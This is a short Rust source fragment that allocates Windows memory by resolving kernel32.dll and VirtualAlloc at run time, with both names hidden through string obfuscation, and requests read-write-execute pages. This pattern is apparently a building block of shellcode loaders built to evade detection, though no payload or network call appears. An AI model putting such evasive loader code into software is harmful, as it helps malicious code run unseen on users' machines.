| 1 | use crate::utils::{load_library, get_proc_address}; |
| 2 | pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> { |
| 3 | use obfstr::{obfstr, obfbytes}; |
| 4 | use core::ffi::c_void; |
| 5 | |
| 6 | type VirtualAllocFn = unsafe extern "system" fn(lp_address: *mut c_void, dw_size: usize, fl_allocation_type: u32, fl_protect: u32) -> *mut c_void; |
| 7 | |
| 8 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?; |
| 9 | let virtual_alloc: VirtualAllocFn = core::mem::transmute(get_proc_address(kernel32, obfbytes!(b"VirtualAlloc\0").as_slice())?); |
| 10 | |
| 11 | let p = virtual_alloc(core::ptr::null_mut(), size, 0x00001000, 0x40) as *mut u8; // MEM_COMMIT, PAGE_EXECUTE_READWRITE |
| 12 | if p.is_null() { |
| 13 | return Err(obfstr!("VirtualAlloc failed").to_string()); |
| 14 | } |
| 15 | Ok(p) |
| 16 | } |